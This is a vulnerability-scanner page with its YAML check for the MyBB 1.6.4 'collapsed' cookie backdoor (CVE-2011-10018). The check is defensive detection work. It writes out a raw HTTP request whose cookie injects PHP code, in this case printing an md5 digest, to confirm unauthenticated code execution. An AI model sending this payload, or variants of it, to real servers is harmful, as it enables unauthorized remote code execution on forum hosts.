MyBB — 1 vulnerability check

noctis ships 1 vulnerability check for MyBB, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

MyBB 1.6.4 'collapsed' cookie backdoor — unauthenticated PHP code execution

CVECVE-2011-10018
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/mybb/CVE-2011-10018.yaml

The MyBB 1.6.4 source package distributed before 6 October 2011 contained a backdoor in index.php: the 24th element of the "collapsed" cookie is evaluated as PHP code, giving any unauthenticated visitor code execution as the web server user. The test requests index.php (at the web root and the usual /mybb, /forum, /forums and /board prefixes) with a "collapsed" cookie whose 24th element prints md5() of a random number chosen for this run. The finding is raised only when the response contains that digest, which the server can produce only by executing the injected code. Nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{mybb_dir}}/index.php HTTP/1.0
  4. Parses / computes the next value with a Rhai script
  5. Checks verdict for NOCTIS_MYBB_BACKDOOR_EXEC → finding QoD 97: GET …/index.php with collapsed cookie element 24 = print(md5(…))?> returned the locally computed digest … — injected PHP was executed

References:

Feed source — tests/vulnerabilities/mybb/CVE-2011-10018.yaml
# MyBB 1.6.4 compromised source package — "collapsed" cookie PHP backdoor (CVE-2011-10018)
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_mybb_49993.nasl (OID 1.3.6.1.4.1.25623.1.0.103292,
# GPL-2.0-only); same request shape as the Metasploit module mybb_backdoor (EDB-17949).
#
# The MyBB 1.6.4 archive distributed until 2011-10-06 carried a backdoor in index.php: the
# element that follows the 23 numeric entries (0|1|…|22|) of the "collapsed" cookie is
# evaluated as PHP. The NASL sends `phpinfo()?>` there and looks for "<title>phpinfo()".
#
# Detection (confirmed PHP execution, QoD 97) — benign, nothing is written:
#   * a fresh random integer N is minted per run and md5(N) is computed locally;
#   * the cookie's 24th element is `print(md5(N))?>` instead of phpinfo() (same statement
#     shape: the `?>` closes the evaluated code, no `;` that would split the cookie);
#   * a reply carrying this run's md5(N) proves the server evaluated the injected code —
#     a server reflecting the cookie only echoes the source text, never the digest.
#
# Better than the NASL: no phpinfo() dump (server configuration disclosure) — a per-run
# digest only arbitrary PHP evaluation can produce; and it tries the usual install
# prefixes itself (/, /mybb, /forum, /forums, /board) instead of relying on a prior
# product detection.
uid: 48aac6ed-eccb-4cb4-bb04-1b1aa9937312
name: "MyBB 1.6.4 'collapsed' cookie backdoor — unauthenticated PHP code execution (CVE-2011-10018)"
description: |
  The MyBB 1.6.4 source package distributed before 6 October 2011 contained a backdoor in
  index.php: the 24th element of the "collapsed" cookie is evaluated as PHP code, giving any
  unauthenticated visitor code execution as the web server user. The test requests
  index.php (at the web root and the usual /mybb, /forum, /forums and /board prefixes) with
  a "collapsed" cookie whose 24th element prints md5() of a random number chosen for this
  run. The finding is raised only when the response contains that digest, which the server
  can produce only by executing the injected code. Nothing is written on the target.
cves: [CVE-2011-10018]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [mybb, forum, php, backdoor, rce, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-10018"
  - "https://www.exploit-db.com/exploits/17949"
  - "https://www.vulncheck.com/advisories/mybb-backdoor-arbitrary-command-execution"
  - "OpenVAS NVT 2011/gb_mybb_49993.nasl (OID 1.3.6.1.4.1.25623.1.0.103292)"

steps:
  # 1 — per-run random integer and the digest only real PHP evaluation can return.
  - id: mint-number
    action: script
    store_as: num
    code: |
      rand_int(100000000, 999999999).to_string()

  - id: compute-expected
    action: script
    store_as: expected
    code: |
      md5(num)

  # 2 — the backdoor probe, one loop iteration per install prefix. Raw HTTP/1.0 via
  #     tcp_connect so the cookie (pipes as %7c, like the NASL) goes out verbatim.
  #     Each iteration first resets probe_resp, so a refused connection (store_as not
  #     set) cannot leave the verdict script on an undefined variable or on the
  #     previous prefix's reply.
  - id: reset-probe
    action: set_var
    var_name: probe_resp
    var_value: {}
    loop:
      over:
        - ""
        - "/mybb"
        - "/forum"
        - "/forums"
        - "/board"
      var: mybb_dir

  - id: backdoor-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{mybb_dir}}/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: collapsed=0%7c1%7c2%7c3%7c4%7c5%7c6%7c7%7c8%7c9%7c10%7c11%7c12%7c13%7c14%7c15%7c16%7c17%7c18%7c19%7c20%7c21%7c22%7cprint(md5({{num}}))?>\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: probe_resp

  - id: verdict
    action: script
    store_as: verdict
    code: |
      let b = probe_resp.banner;
      if type_of(b) == "string" && ereg("^HTTP/1\\.[01] 200\\b", b) && stridx(b, expected) >= 0 {
        "NOCTIS_MYBB_BACKDOOR_EXEC"
      } else {
        "none"
      }

  - id: detect
    action: match
    source: verdict
    pattern: "NOCTIS_MYBB_BACKDOOR_EXEC"
    on_match:
      finding:
        confidence_delta: 0.70
        qod: 97
        evidence: "GET {{mybb_dir}}/index.php with collapsed cookie element 24 = print(md5({{num}}))?> returned the locally computed digest {{expected}} — injected PHP was executed"
      stop: true

View these feeds on GitHub